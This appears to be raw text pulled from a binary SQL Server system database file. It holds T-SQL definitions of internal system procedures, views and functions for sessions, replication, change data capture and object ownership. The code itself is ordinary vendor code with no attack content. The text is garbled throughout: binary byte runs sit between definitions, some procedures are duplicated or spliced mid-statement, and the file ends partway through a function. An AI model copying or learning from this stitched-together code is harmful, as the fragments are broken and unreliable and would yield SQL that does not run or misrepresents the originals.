-- Internal usage only
-- Enable specified procedure to access internal tables thru dynamic TSQL
create procedure sys.sp_SetInternalTableAccess
	@object sysname,  -- object name
	@schema sysname = N'sys'	-- object schema name
as
	if (@schema <> N'sys')
	        raiserror(15165,-1,-1,@object)

	declare @objid int
	declare @objname nvarchar(517)
	select @objname = @schema + N'.' + @object

	BEGIN TRANSACTION
	select @objid = object_id(@objname)
	EXEC %%Object(MultiName = @objname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
	if @@error <> 0
	begin
		COMMIT TRANSACTION
		raiserror(15165,-1,-1,@object)
	end
	EXEC %%Module(ID = @objid).SetInternalTableAccess(Value = 1)
	COMMIT TRANSACTION
0
@ 8CREATE VIEW sys.index_counts AS
	SELECT i.object_id, i.index_id, c.rows,
		c.total_pages, c.used_pages, c.data_pages
	FROM sys.indexes$ i CROSS APPLY OpenRowset(TABLE INDEXCOUNT, i.object_id, i.index_id, i.rowset) c
0L%@ k8CREATE VIEW sys.user_token AS
	SELECT * FROM OpenRowset(TABLE USERROLES)
0	0@ 8CREATE VIEW sys.dm_exec_sessions AS
	SELECT 
		session_id, login_time, host_name, program_name, host_process_id,
		client_version, client_interface_name, security_id, login_name, nt_domain,
		nt_user_name, status, context_info, cpu_time, memory_usage, total_scheduled_time,
		total_elapsed_time, endpoint_id, last_request_start_time, last_request_end_time,
		reads, writes, logical_reads, is_user_process, text_size, language, date_format,
		date_first, quoted_identifier, arithabort, ansi_null_dflt_on, ansi_defaults,
		ansi_warnings, ansi_padding, ansi_nulls, concat_null_yields_null, transaction_isolation_level,
		lock_timeout, deadlock_priority, row_count, prev_error, original_security_id, original_login_name,
		last_successful_logon, last_unsuccessful_logon, unsuccessful_logons, group_id, database_id,
		authenticating_database_id, open_transaction_count
	FROM OpenRowset(TABLE SYSSESSIONS)
0 \8
create procedure sys.sp_catalogs_rowset_rmt
(
    @server_name    sysname,
    @catalog_name   sysname = NULL
)
as
    select
        CATALOG_NAME,
        DESCRIPTION
    from
        sys.fn_remote_catalogs (@server_name, @catalog_name)
    where
        has_dbaccess(CATALOG_NAME)=1
    order by 1
0܉	@ g8create procedure sys.sp_MSrepl_changesubscriber_schedule
(
	@subscriber						sysname,
	@agent_type						smallint,
	@frequency_type					int,
	@frequency_interval				int,
	@frequency_relative_interval	int,
	@frequency_recurrence_factor	int,
	@frequency_subday				int,
	@frequency_subday_interval		int,
	@active_start_time_of_day		int,
	@active_end_time_of_day			int,
	@active_start_date				int,
	@active_end_date				int,
	@publisher						sysname,
	@publisher_type					sysname
)
AS
BEGIN
    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @msg nvarchar(255)
    DECLARE @retcode int
    
	-- Set publisher name for SQL Servers
	IF (@publisher IS NULL) AND (@publisher_type = N'MSSQLSERVER')
		SELECT @publisher = publishingservername()

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher	= @publisher,
														@rpcsrvname	= @distributor OUTPUT,
														@distribdb	= @distribdb OUTPUT

    IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14071, 16, -1)
		RETURN (1)
	END

    /*
    ** Update MSsubscriber_info
    */
    SELECT	@distproc = QUOTENAME(RTRIM(@distributor)) + '.' +
						QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSupdate_subscriber_schedule'

    EXEC @retcode = @distproc
					@publisher,
					@subscriber,
					@agent_type,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date
    
    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14048, 16, -1, @subscriber)
        RETURN (1)
	END
        
    RETURN (0)
END
0$@ 8CREATE PROCEDURE sys.sp_MSenumerate_PAL 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname
) 
AS
begin
    declare @publication_id int
    declare @publisher_id smallint
    declare @retcode int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    select @publication_id = publication_id from dbo.MSpublications where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication

    -- Publication does not exist
    if @publication_id is null
    begin
        return (1)
    end

    select login from dbo.MSpublication_access where
                publication_id = @publication_id
                and suser_sname(sid) is not NULL
end
0 	8create procedure sys.sp_cdc_parse_included_column_list
(
	@object_id	int,
	@included_column_list nvarchar(max)
)	
as
begin
	declare @retcode int
		,@column sysname
		,@list nvarchar(max)
		,@column_name sysname
		,@column_id int
		,@quoted_change_table nvarchar(1000)
		
    set nocount on
    
    set @list = @included_column_list
    set @column = null
   
    -- Extract one token at a time from the list
    while(@list is not null)
    begin
        -- Split out the next column from the list
		exec @retcode = [sys].[sp_cdc_extract_column] @column output
			,@list output
		
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end
		
		set @column_name = null		

		-- Locate information for the extracted column
		select @column_name = name,
			   @column_id = column_id
		from [sys].[columns]   
		where object_id = @object_id
		and   name      = @column
		
		if (@column_name is null)
		begin
			set @quoted_change_table = N'[cdc].' + quotename(object_name(@object_id))
			raiserror(22918, 16, -1, @quoted_change_table)
			return 1 	 	
		end
		
		-- Populate local table with column information
		insert into #included_columns
		values(@column_name, @column_id)
    end

	return 0
end
05@ 8create proc sys.sp_prop_oledb_provider (
@p1 nvarchar(255)=NULL)
as
begin

	IF (not is_srvrolemember(N'setupadmin') = 1)
	begin
	   raiserror(15003,-1,-1, N'setupadmin')
	   return (1)
	end
	exec sys.xp_prop_oledb_provider @p1
end
 8CREATE FUNCTION sys.dm_logpoolmgr_freepools
	(
	@DatabaseId Int = 0
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOLMGR_FREEPOOLS, @DatabaseId)
0@ 8CREATE VIEW sys.dm_broker_forwarded_messages AS
	SELECT * FROM OpenRowset (TABLE SBFORWARDEDMESSAGES)
0rH 8 
-- add it
create view sys.dm_pdw_nodes_os_sys_info as
select *, convert(int, null) pdw_node_id from sys.dm_os_sys_info
BLE SYSSESSIONS)
05@ y8CREATE VIEW sys.dm_os_memory_clerks AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMCLERKS)
E,z#
%`&
U<eU1U%0j 8create procedure sys.sp_helprolemember
	@rolename       sysname = NULL
AS
	if @rolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sysusers where name = @rolename and issqlrole = 1)
		begin
			raiserror(15409, -1, -1, @rolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE ROLE
		select DbRole = g.name, MemberName = u.name, MemberSID = u.sid
			from sys.database_principals u, sys.database_principals g, sys.database_role_members m
			where g.name = @rolename
				and g.principal_id = m.role_principal_id
				and u.principal_id = m.member_principal_id
			order by 1, 2
	end
	else
	begin
		-- RESULT SET FOR ALL ROLES
		select DbRole = g.name, MemberName = u.name, MemberSID = u.sid
			from sys.database_principals u, sys.database_principals g, sys.database_role_members m
			where   g.principal_id = m.role_principal_id
				and u.principal_id = m.member_principal_id
			order by 1, 2
	end

	return (0) -- sp_helprolemember
04 8create procedure sys.sp_help_fulltext_catalog_components
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	-- dump all full-text components used in this database
	select ftcat.name, ftcat.fulltext_catalog_id as ftcatid, componenttype, componentname, clsid, 
	      (case when is_srvrolemember('serveradmin') = 1 then fullpath else NULL end) AS [fullpath], 
           version, manufacturer 
	from sys.fulltext_catalogs as ftcat cross apply sys.fn_ftcatcomponents(0, db_id(), ftcat.file_id) as ftcomp
0 8
create procedure sys.sp_sparse_columns_100_rowset
(
    @table_name     sysname = NULL,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL,
    @schema_type    int     = 1
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE, -- Used by Katmai+ clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA,
        COLLATION_NAME          = s_cv.COLLATION_NAME,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_IS_SPARSE            = s_cv.SS_IS_SPARSE,
        SS_IS_COLUMN_SET        = s_cv.SS_IS_COLUMN_SET

    from
        sys.spt_sparse_columns_view s_cv

    where
        (@table_name is null or s_cv.TABLE_NAME = @table_name) and 
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null) and
        (	
			(@schema_type=1) or
			(@schema_type=2 and (s_cv.SS_IS_SPARSE=1 and objectproperty(s_cv.object_id, 'tablehascolumnset')=1))
        )

    order by 1, 2, 3, 7
0 88~T MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	-- dump all full-text components used in this database
	select ftcat.name, ftcat.fulltext_catalog_id as ftcatid, componenttype, componentname, clsid, 
	      (case when is_srvrolemember('serveradmin') = 1 then fullpath else NULL end) AS [fullpath], 
           version, manufacturer 
	from sys.fulltext_catalogs as ftcat cross apply sys.fn_ftcatcomponents(0, db_id(), ftcat.file_id) as ftcomp
01@ 8 
-- add it
create view sys.pdw_diag_events as
select
	name	collate database_default name,
	source	collate database_default source,
	is_enabled
from sys._pdw_diag_events
0@ ^8 
-- add it
create view sys.dm_pdw_online_backups as
select
	BackupName	collate database_default BackupName,
	BackupDescription	collate database_default BackupDescription,
	BackupType,
	ExpirationDate,
	Compressed,
	Position,
	DeviceType,
	UserName	collate database_default UserName,
	ServerName	collate database_default ServerName,
	DatabaseName	collate database_default DatabaseName,
	DatabaseVersion,
	DatabaseCreationDate,
	BackupSize,
	FirstLSN,
	LastLSN,
	CheckpointLSN,
	DatabaseBackupLSN,
	BackupStartDate,
	BackupFinishDate,
	SortOrder,
	CodePage,
	UnicodeLocaleId,
	UnicodeComparisonStyle,
	CompatibilityLevel,
	SoftwareVendorId,
	SoftwareVersionMajor,
	SoftwareVersionMinor,
	SoftwareVersionBuild,
	MachineName	collate database_default MachineName,
	Flags,
	BindingID	collate database_default BindingID,
	RecoveryForkID	collate database_default RecoveryForkID,
	Collation	collate database_default Collation,
	FamilyGUID	collate database_default FamilyGUID,
	HasBulkLoggedData,
	IsSnapshot,
	IsReadOnly,
	IsSingleUser,
	HasBackupChecksums,
	IsDamaged,
	BeginsLogChain,
	HasIncompleteMetaData,
	IsForceOffline,
	IsCopyOnly,
	FirstRecoveryForkID	collate database_default FirstRecoveryForkID,
	ForkPointLSN,
	RecoveryModel	collate database_default RecoveryModel,
	DifferentialBaseLSN,
	DifferentialBaseGUID	collate database_default DifferentialBaseGUID,
	BackupTypeDescription	collate database_default BackupTypeDescription,
	BackupSetGUID	collate database_default BackupSetGUID,
	CompressedBackupSize
from sys._dm_pdw_online_backups
 procedure sys.sp_help_fulltext_catalog_components
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	-- dump all full-text components used in this database
	select ftcat.name, ftcat.fulltext_catalog_id as ftcatid, componenttype, componentname, clsid, 
	      (case when is_srvrolemember('serveradmin') = 1 then fullpath else NULL end) AS [fullpath], 
           version, manufacturer 
	from sys.fulltext_catalogs as ftcat cross apply sys.fn_ftcatcomponents(0, db_id(), ftcat.file_id) as ftcomp
_t
_z`	#
<(V0]0bb@ v8CREATE VIEW sys.login_token AS
	SELECT * FROM OpenRowset(TABLE LOGINROLESANDGROUPS)
0g 8create procedure sys.sp_changeobjectowner
	@objname	nvarchar(776),		-- may be "[owner].[object]"
	@newowner	sysname				-- must be entry from sysusers
as
	Set nocount      on
	Set ansi_padding on
	declare	@objid		int,
			@newuid		int,
			@ret		int,
			@oldowner	sysname,
			@stmtS		nvarchar(4000)

	-- CHECK PERMISSIONS: Because changing owner changes both schema and
	--	permissions, the caller must be one of:
	-- (1) db_owner
	-- (2) db_ddladmin AND db_securityadmin
    if (is_member('db_owner') = 0) and
		(is_member('db_securityadmin') = 0 OR is_member('db_ddladmin') = 0)
    begin
		EXEC %%System().AuditEvent(ID = 1094864724, Success = 0, TargetLoginName = NULL, TargetUserName = @newowner, Role = NULL, Object = @objname, Provider = NULL, Server = NULL)
		raiserror(15247,-1,-1)
		return (1)
    end
    else
    begin
		EXEC %%System().AuditEvent(ID = 1094864724, Success = 1, TargetLoginName = NULL, TargetUserName = @newowner, Role = NULL, Object = @objname, Provider = NULL, Server = NULL)
    end

	if parsename(@objname, 1) is null
	begin
		raiserror(15253, -1, -1, @objname)
		return (1)
	end

	BEGIN TRANSACTION

	-- RESOLVE OBJECT NAME (CANNOT BE A CHILD OBJECT: TRIGGER/CONSTRAINT) --
	select @objid = object_id(@objname, 'local')
	if not (@objid is null)
	begin
		EXEC %%Object(MultiName = @objname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
		if (@@error <> 0)	-- lock failed
			select @objid = null
	end
	if (@objid is null) OR
		(select parent_obj from sysobjects where id = @objid) <> 0 OR
		ObjectProperty(@objid, 'IsSystemTable') = 1 OR
		parsename(@objname, 3) is not null OR
		parsename(@objname, 4) is not null OR
		exists (select * from sys.objects where object_id = @objid and schema_id in (3,4))  OR -- INFORMATION_SCHEMA, sys
		-- Check for Dependencies: No RENAME or CHANGEOWNER of OBJECT when exists:
		EXISTS (SELECT * FROM sysdepends d WHERE
			d.depid = @objid		-- A dependency on this object
			AND d.deptype > 0		-- that is enforced
			AND @objid <> d.id		-- that isn't a self-reference (self-references don't use object name)
			AND @objid <>			-- And isn't a reference from a child object (also don't use object name)
				(SELECT o.parent_obj FROM sysobjects o WHERE o.id = d.id)
			)
	begin
		-- OBJECT NOT FOUND
		COMMIT TRANSACTION
		raiserror(15001,-1,-1,@objname)
		return 1
	end

	-- object's schema name must be the same as the schema owner's name
	if not exists (select so.name 
		from sys.objects so
		join sys.schemas ss on so.schema_id = ss.schema_id 
		join sys.database_principals su on ss.principal_id = su.principal_id
		where object_id = @objid and so.principal_id is null and ss.name = su.name)
	begin
		-- OBJECT NOT FOUND
		COMMIT TRANSACTION
		raiserror(15001,-1,-1,@objname)
		return 1
	end
	
	select @oldowner = ssch.name from sys.schemas ssch join sys.objects so on (so.schema_id = ssch.schema_id) where object_id = @objid
	-- SHARE LOCK OLD SCHEMA, PREVENT DROP OF THE OWNER WHILE TXN ACTIVE --
		-- (rollback could cause phantom owner) --
	EXEC %%ObjectSchema (Name = @oldowner).Lock(Exclusive = 0) -- should succeed due to object lock above

	-- SHARE LOCK NEW SCHEMA --
	EXEC %%ObjectSchema (Name = @newowner).Lock(Exclusive = 0) -- may fail, check below anyway

	-- RESOLVE NEW OWNER NAME (ATTEMPT ADDING IMPLICIT ROW FOR NT NAME) --
    --  Disallow aliases, and public cannot own objects --
	if @@error = 0 -- lock success, indicate new owner may exist, verify further
		select @newuid = schema_id from sys.schemas where name = @newowner
							and schema_id not in (3,4) -- INFORMATION_SCHEMA, sys
 
    if @newuid is null -- indicate lock failed
    begin
		EXEC @ret = sys.sp_MSadduser_implicit_ntlogin @newowner
		if (@ret = 0) -- success
			select @newuid = schema_id from sys.schemas where name = @newowner
			-- Member locked by sp_MSadduser_implicit_ntlogin
    end

    if @newuid is null OR
		-- the schema name and its owner name must be the same
		not exists (select ss.name
			from sys.schemas ss
			join sys.database_principals su on ss.principal_id = su.principal_id
			where ss.name = @newowner and ss.name = su.name)
    begin
		-- Implicit login added above is not rolled back
		-- This is same as SQL 2000
		COMMIT TRANSACTION
		raiserror(15411, -1, -1, @newowner)
		return (1)
    end

	select @stmtS = 'ALTER SCHEMA '
	select @stmtS = @stmtS + quotename(@newowner)
	select @stmtS = @stmtS + ' TRANSFER '
	if parsename(@objname, 2) is not null
		select @stmtS = @stmtS + quotename(parsename(@objname, 2)) + '.'
	select @stmtS = @stmtS + quotename(parsename(@objname, 1))

	exec (@stmtS)
	IF @@ERROR <> 0
	BEGIN
		-- Nested transaction is used by alter schema statement
		COMMIT TRANSACTION
		return (1)
	END

	COMMIT TRANSACTION
	-- WARNING AFTER THE OWNER TRANSFER --
	raiserror(15477,-1,-1)
	return (0)	-- sp_changeobjectowner
0\u 8create procedure sys.sp_MSgettranlastupdatedtime(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscription_type int
    )
as
begin
    set nocount on
    declare @last_updated_time nvarchar(40)
    
    select @last_updated_time = null

    if object_id('MSreplication_subscriptions') is null
    begin
        select 'last updated time' = @last_updated_time
        raiserror(21384, 16, -1)        
        return 1
    end
    
    -- For subscriptions sharing an agent, 
    -- the control may not be passing in the publication
    -- name. 
    select @last_updated_time = sys.fn_replformatdatetime(time)
      from MSreplication_subscriptions    
     where upper(@publisher) = upper(publisher)
       and @publisher_db = publisher_db
       and (((@publication is null or @publication = N'') and independent_agent = 0)
            or (@publication = publication))
       and @subscription_type = subscription_type

    select 'last updated time' = @last_updated_time

    if @last_updated_time is null
    begin
        raiserror(21384, 16, -1)
        return 1
    end
    return 0
end
0
p 8
create function [sys].[fn_cdc_get_jobid]()
returns @cdc_job table
(
	job_id uniqueidentifier,
	run_date int,
	run_time int
)
with execute as 'dbo'
as
begin
		
   	if (object_id('msdb.dbo.cdc_jobs') is not null)
    begin
    
        insert into @cdc_job
        select c.job_id, s.run_date, s.run_time 
		from msdb.dbo.cdc_jobs c join msdb.dbo.sysjobhistory s
		 on c.job_id = s.job_id
		where c.database_id = db_id()
		 and c.job_type = N'capture'
		 and s.step_id = 1
		 
	end
	else
	begin
	
		insert into @cdc_job values(null, null, null)
		
	end
	
	return
				    
end
``v<4Wg.0@ 8
---------------------------- sp_validname ------------------------------
CREATE PROCEDURE sys.sp_validname
	@name			sysname,
	@raise_error	bit = 1
AS
	---------------------------------------------------------------
	--	Check for valid SQL-Server identifiers: All non-binary-zero
	--	characters are valid.  String must not be null or empty.
	---------------------------------------------------------------
	-- QuoteName() will be non-null only if no null-characters.  Also check length.
	IF (quotename(@name) is not null AND datalength(@name) > 0)
		RETURN (0)

	-- Bad Name
	if @raise_error = 1
		raiserror (15004,-1,-1)
	return (1) -- sp_validname
0b $8create procedure sys.sp_cdc_stop_job
(
	@job_type nvarchar(20) = N'capture'
)	
as
begin
    set nocount on

    declare @job_id uniqueidentifier
           ,@retcode int
           ,@db_name sysname
  
    set @db_name = db_name()

    --
    -- Job security check proc
    --
    exec @retcode = [sys].[sp_MScdc_job_security_check]
    if @retcode <> 0 or @@error <> 0
        return(1)
        
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
        
	set @job_type = rtrim(ltrim(lower(@job_type)))
      
    -- Verify parameter
    if @job_type not in (N'capture', N'cleanup')
    begin
        raiserror(22992, 16, -1, @job_type)
        return(1)
    end
    
    -- Call internal stored procedure to stop job
    exec @retcode = sys.sp_cdc_stop_job_internal
		@job_type
		
	if @@error <> 0 or @retcode <> 0
		return 1
		
	return 0		
end
0i 8create procedure sys.sp_MScreatebeforetable
    @objid int
AS
    declare     @command            nvarchar(4000)
    declare     @objidstr           nvarchar(12)
    declare     @dbname             sysname
    declare     @oldname            sysname
    declare     @newname            sysname
    declare     @nameguid           uniqueidentifier
    declare     @before_rowguidname nvarchar(258)
    declare     @retcode            int
    declare     @tablenick          int
    declare     @bitablename        sysname
    declare     @biupdviewname      sysname

    set nocount on

    set @before_rowguidname = NULL

-- If no publication including this table needs before images, just return
    if not exists (select * from dbo.sysmergepublications p, dbo.sysmergearticles a where
            a.objid = @objid and p.pubid = a.pubid and p.keep_before_values = 1)
        return (0)
    select @tablenick = max(nickname) from dbo.sysmergearticles where objid = @objid
    if @tablenick is null return (1)

-- If a before image table already exists for this table, we need to drop it and create a new one
    select @oldname = max(o.name) from sys.objects o, dbo.sysmergearticles a where
        a.objid = @objid and o.object_id = a.before_image_objid
    if @oldname is not null
    begin
        exec @retcode = sys.sp_MShelpalterbeforetable @objid, @oldname
        if @@error<>0 or @retcode<>0 return (1)
        return(0)
    end
-- If this table is not involved with any filters or join filters, don't bother
    if not exists (select * from dbo.sysmergesubsetfilters where (art_nickname = @tablenick
        or join_nickname = @tablenick)  and (filter_type & 1) = 1) and
        not exists (select * from dbo.sysmergearticles where nickname = @tablenick and
            datalength (subset_filterclause) > 1)
        return(0)
    
-- Generate a unique name for our new table
    set @nameguid = newid()
    exec @retcode = sys.sp_MSguidtostr @nameguid, @newname out
    if @@ERROR <>0 OR @retcode <>0 return (1)
    set @bitablename = 'MSmerge_bi_' + @newname

-- Call xp_execresultset with helper function command
    set @objidstr = convert(nvarchar(12), @objid)
    set @dbname = db_name()

    set @command = 'exec sys.sp_MShelpcreatebeforetable '  + @objidstr + ', ''' + @bitablename + '''' 
    exec @retcode = sys.xp_execresultset @command, @dbname
    if @@error<>0 or @retcode<>0 return (1)

    select @before_rowguidname=quotename(name) from sys.columns where object_id=@objid and is_rowguidcol=1

    if @before_rowguidname is not NULL
    begin
        exec ('grant select (' + @before_rowguidname + ') on ' + @bitablename + ' to public')
        if @@ERROR<>0 return (1)
    end

    -- create a view in which generation can be updated and we can delete and let this view be accesible to pal of 
    -- any publication. This is necessary because a pal user of pub A may be doing makegeneration for article in pub B
    set @biupdviewname = 'MSmerge_biupdvw_' + @newname
    set @command = 'create view dbo.'  + @biupdviewname + ' as select * from ' + @bitablename + 
        ' where exists (select * from dbo.sysmergepublications where {fn ISPALUSER(pubid)} = 1)'
    
    exec @retcode = sys.xp_execresultset @command, @dbname
    if @@error<>0 or @retcode<>0 
        return (1)


    /* grant select to system_delete column */
    -- grant only to the PAL role instead of to public
    declare @role sysname
    declare @pubid uniqueidentifier
    declare publications_list CURSOR LOCAL FAST_FORWARD 
        for select p.pubid from dbo.sysmergearticles a, dbo.sysmergepublications p 
            where objid = @objid and p.pubid = a.pubid and UPPER(p.publisher)  collate database_default = UPPER(publishingservername()) collate database_default and p.publisher_db = db_name()

    open publications_list
    fetch publications_list into @pubid
    while @@fetch_status <> -1
    begin
        exec @retcode = dbo.sp_MSrepl_FixPALRole @pubid, @role output
        if @retcode <> 0 or @@ERROR<>0 
            return (1)
       
	   	select @command = 'grant select (system_delete, generation), update(generation), delete, insert on ' + @bitablename + ' to ' + quotename(@role)
        exec (@command)
        if @@ERROR<>0 return (1)

        exec ('grant select(generation), update(generation), delete on ' + @biupdviewname + ' to public')
        if @@ERROR<>0 return (1)

        fetch publications_list into @pubid
    end
    close publications_list
    deallocate publications_list

    exec sys.sp_MS_marksystemobject @bitablename
    if @@ERROR<>0 return (1)

    exec sys.sp_MS_marksystemobject @biupdviewname
    if @@ERROR<>0 return (1)

    update dbo.sysmergearticles set before_image_objid = object_id( @bitablename ), before_upd_view_objid = object_id(@biupdviewname)
        where objid = @objid

    return(0)
e to stop job
    exec @retcode = sys.sp_cdc_stop_job_internal
		@job_type
		
	if @@error <> 0 or @retcode <> 0
		return 1
		
	return 0		
end
D = 7, Value = @server, Value = @srvproduct2, Value = @provider, Value = @datasrc, Value = @location, Value = NULL, Value = @catalog)


		COMMIT TRANSACTION
		-- SUCCESS
		return (0) -- sp_addlinkedserver
	end
	else if( @retcode = 2 )
	begin
		ROLLBACK
		raiserror(15028,-1,-1,@server);
		return (1)
	end
	else 
	begin
		ROLLBACK
		return (1)
	end

0( Q8 
-- add it
create view sys.dm_pdw_nodes_tran_session_transactions as
select 
session_id,
transaction_id,
transaction_descriptor,
enlist_count,
is_user_transaction,
is_local,
is_enlisted,
is_bound,
open_transaction_count,
convert(int, null) pdw_node_id from sys.dm_tran_session_transactions
, min_rows, max_rows
	FROM OpenRowset (TABLE QUERY_STATS)
0I 8CREATE VIEW sys.dm_resource_governor_configuration AS
	SELECT *
	FROM OpenRowSet(TABLE DM_RG_CONFIGURATION)
}
k@`<(X`>@vcreate function sys.fn_listextendedproperty
	(@name sysname				= NULL,
	@level0type	varchar(128)	= NULL,
	@level0name	sysname			= NULL,
	@level1type	varchar(128)	= NULL,
	@level1name	sysname			= NULL,
	@level2type	varchar(128)	= NULL,
	@level2name	sysname			= NULL
)
returns @tab table(objtype varchar(128) null,
		objname sysname null,
		name sysname not null,
		value sql_variant null)
as
begin

declare @class int, -- convert to tinyint,
		@major int,
		@minminor int,
		@maxminor int,
		@basetype varchar(128)

/*	NOTES ON BUILTINS THAT WOULD NEED TO BE IMPLEMENTED:

EntityPropertyEx ( 'internal-property',
	@level0type varchar(128), @level0name sysname,
	@level1type varchar(128), @level1name sysname,
	@level2type varchar(128), @level2name sysname )
return sql_variant, 'internal-property' is one of:
	'class' -- null if error, else class
	'major' -- the lowest-level top-level id that could be resolved (schema-id, parent-object-id, etc)
	'minminor' -- non-null if exact major-id found, 
				  null if parent is a wild-card,
				  0 if @level2type is null,
				  minimum id otherwise
	'maxminor' -- non-null if exact major-id found, 
				  null if parent is a wild-card,
				  0 if @level2type is null,
				  maximum id otherwise
	'basetype' -- returns lowest-level type-name that is applicable (NULL for database)
Validates existence of all names if given (not wildcard) - null if not.
Could optimize so that validation check only done for 'class' property...
Some specific notes on values returned by 'major' for code below to work:
	if @level0type = 'TYPE', then 'major' = 1 (for dbo)
	if @level0type = 'FILEGROUP', then 'major' = data_space_id
	if @level0type = 'TRIGGER', then 'major' = 0 for parent_id of database
	if @level0type = 'EVENT NOTIFICATION', then 'major' = 0 for parent_id of database
	if @level1type is wildcarded object, 'major' returns schema_id


Entity_Name( class, major_id, minor_id ) -- returns lowest-level name of entity. Note that this
	will only be used for one cached-level entity. Also note that we always want to output the actual entity
	name rather than the given entity-name, which may differ in case, etc.
*/

-- Validate Input: Any problems will return NULL 'class' (bad levels, types, names, etc)
-- Use Latin1_General_CI_AS for the input param used in constant comparison as otherwise the collation from 
-- the context/calling db will be used which could result in a problem. Example is Turkish_CS_AI_KS_WS with small 'i'.
-- 
select	@level0type = UPPER(@level0type collate Latin1_General_CI_AS)
		,@level1type = UPPER(@level1type collate Latin1_General_CI_AS) 
		,@level2type = UPPER(@level2type collate Latin1_General_CI_AS)
		,@basetype = case
			when @level2type is not null then @level2type
			when @level1type is not null then @level1type
			when @level0type is not null then @level0type
			end
			
select	@class = Convert(tinyint,
				EntityPropertyEx ( 'class', @level0type, @level0name, @level1type, @level1name, @level2type, @level2name )) 
		,@major = Convert(int,
